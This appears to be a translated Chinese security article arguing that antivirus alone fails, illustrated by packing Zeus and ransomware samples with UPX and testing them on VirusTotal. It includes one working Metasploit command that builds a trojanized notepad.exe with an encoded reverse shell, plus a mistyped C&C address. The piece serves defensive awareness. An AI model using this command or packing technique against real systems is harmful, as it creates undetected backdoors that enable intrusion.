端点防病毒软件没什么用,目前这个秘密已经公开:最近业界最大的防病毒供应商被发现未能检测和阻止高级持续性攻击。当然,对于真正的信息安全从业者而言,这并不是什么秘密。而对于很多消费者以及一些C级管理人员来说,这个事件表明,如果没有额外的安全技术,防病毒软件几乎无法抵御现在的网络攻击。但这个事件的好处是暴露了攻击者现在用于轻松地规避反恶意软件产品的高级方法。
简要地回顾一下,在今年1月下旬,纽约时报报道了源自中国的网络攻击,该攻击至少持续了4个月而未被发现。据称,攻击者首先通过鱼叉式钓鱼攻击获取初步网络访问权限,然后使用有效的登录信息进入网络,甚至侵入到几十名员工的计算机中,他们试图找寻涉及中国总理文章的记者的消息来源。
纽约时报报道,攻击者在其网络上至少安装了45个自定义恶意软件,而系统中安装了赛门铁克反恶意软件产品只检测到其中一个。随后,赛门铁克作出回应,指出额外安全层的重要性,例如基于信誉的技术和基于行为的阻止。赛门铁克声明的最后一行有些抱怨:“单靠防病毒软件是不够的。”
赛门铁克是对的,单靠防病毒软件并不能保护私有网络免受恶意软件的攻击,无论启发理论多么复杂或者多么高级。任何企业都不能单纯依靠防病毒软件,因为现在攻击者有很多不同的办法来修改可执行文件。在本文中,我们将研究攻击者使用的一些高级技术,以证明企业要检测高级恶意软件攻击是多么困难。但所有安全专业人员还应该继续研究攻击者使用的新方法,并且记住,恶意软件编写者使用的技术不断地在演变。
模糊处理以规避检测
攻击者用以规避防病毒检测的技术之一是压缩。应用开发人员使用压缩的最初目的是缩小其程序文件以方便分发,而恶意软件编写者则使用压缩来模糊可执行文件的内容。通过使用压缩技术,恶意软件编写者发现他们可以修改其代码来规避基于签名的防病毒软件。有很多应用可以用于压缩,其中最流行的是针对可执行文件的Ultimate Packer(UPX),这是一个开源应用,可通过Sourceforge下载。
笔者使用该技术来对付已知的恶意软件样本,用以证明通过压缩技术的模糊处理的有效性。我发现收集多年来遇到的恶意软件样本有助于测试新的防御方法和验证检测策略,我选择了收集样本中两个最臭名昭著的恶意软件,其中一个是Zeus木马的变体,该变体在2012年5月成功规避了防病毒系统的检测。第二个是获得巨大成功的勒索软件的变体,它类似于假的防病毒软件,一直在祸害着世界各地的IT部门。
目前市场上任何有最新签名的防病毒产品都能够很容易分辨出这两个较旧的恶意软件样本。笔者将这两个恶意软件放到virustotal.com的免费web服务来测试,该网站通过多达46种不同的防病毒引擎来分析可疑文件和网址。结果是46个防病毒引擎中的43个引擎检测到了Zeus,而42个检测到假的防病毒软件。
随后笔者通过可执行封装机来封装这两个文件,并通过virustotal.com扫描,然后比较两次的结果。
封装后的Zeus木马能够规避另外12个防病毒检测引擎,这是意料之中的。然而,令人意外的是,几个主流防病毒引擎对该木马的识别不一样,微软的引擎没注意到该压缩文件,而赛门铁克引擎则将其重新分类为“可疑工具”。
并不只有赛门铁克重新分类该恶意软件类型,下面的列表显示,除了McAfee,大多数知名防病毒引擎也对该恶意软件重新分类。尽管该恶意软件进行了修改,McAfee仍然能够检测出来。下一个测试将验证McAfee是否同样能够检测出另一个封装后的恶意软件样本。
封装的假冒防病毒勒索软件的测试结果甚至比封装的Zeus木马的结果更差。另外3个防病毒引擎没有检测到该勒索软件,总共有15个防病毒厂商没有检测到。而赛门铁克竟然完全无法检测出封装的勒索软件可执行文件中的任何恶意软件,但赛门铁克肯定不是唯一。
McAfee和微软在这个测试中表现都不错。然而,这并不意味着这些防病毒引擎比其他方法提供的保护更好。该测试仅使用相同压缩工具封装的两个不同文件,如果使用不同恶意软件样本或压缩工具,测试结果肯定完全不同。这项结果只是表明,攻击者可能使用这种方法绕过防病毒引擎,但攻击者也可以利用很多其他方法来绕过所有引擎。#p#
使用渗透测试框架封装漏洞
笔者的下一个测试使用了流行的Metasploit社区版渗透测试框架。该工具因其开放贡献式的开发和灵活性而闻名。封装漏洞或进入文件的后门程序功能是几年前增加的关键功能,该功能可以应用到渗透测试中。很多流行的文件格式可以通过该工具来创建,包括PDF和所有标准微软Office格式。该工具还可以从默认微软windows程序文件中获取模板,生成可执行文件。毫无戒心的用户很可能会运行“notepad.exe”,并不会发现它已经被修改。这就是渗透测试者如何规避防病毒引擎,以及模拟恶意软件编写者如何生成逼真的恶意代码。
笔者通过以下命令运行了几个标准微软Windows可执行文件来测试防病毒软件检测率:
msfpayload windows/shell/reverse_tcp LHOST=192.168.1.75 LPORT=4444 R | msfencode -c 5 -e x86/shikata_ga_nai -x notepad.exe > notepad2.exe
这被输送到编码器,它使用shikata ga nai编码器输送五次,在日语中是“没办法”的意思,在这里也指Metasploit用以创建可执行文件的多态XOR添加反馈编码器。最后的notepad2.exe通过使用notepad.exe作为模板来生成。受害者将执行notepad2.exe以及创建到192.167.1.75的C&C服务器的后门连接。
然后我们上传和扫描notepad2.exe来测试前面测试中的相同防病毒引擎的检测功能。Virustotal.com的所有46个防病毒引擎都完全没有通过这个测试,没有任何一个引擎(包括微软、赛门铁克和McAfee)检测出编码在该文件中的后门程序。但这并不奇怪。这个结果是我们意料之中的,它证明了基于签名的防病毒引擎的局限性—防病毒引擎必须之前看过恶意软件才可能检测出它。
请注意,这些测试都是非科学性的,这并不意味着防病毒软件无法抵御恶意软件攻击。但这表明,防病毒软件只是用以保护企业计算资产的整个深度防御战略的一部分,正如赛门铁克在对纽约时报文章的回应声明中所写的。
不止反恶意软件 还要增加其它技术
最后首席信息安全官现在应该采取行动,让企业考虑除了反恶意软件系统,还要增加额外的安全技术。例如,反恶意软件可以结合白名单,这样只有经批准的程序可以在客户端机器上运行。下一代防火墙、IPS/IDS和web过滤系统都可以用于检测异常网络流量,因为异常流量几乎总是伴随着恶意软件感染。当然,如果没有人的干预,没有哪个系统能够保证其效力,所以企业需要部署一个专业的安全人员来负责监控企业所使用的安全系统。
最近防病毒软件已经饱受批评,这使人们开始质疑防病毒软件是不是没用。防病毒软件是有用的,但它只是整体防御战略的一部分。即使是最基本的攻击都可以轻而易举的有效模糊化,正如上面所述,这进一步证明,有效的信息安全永远不应该只是依赖于一种产品或者安全层,而应该依赖于多层和多种技术来进行全面的风险管理。纽约时报事件和其他类似事件应该作为催化剂,推动企业部署新出现的反恶意软件。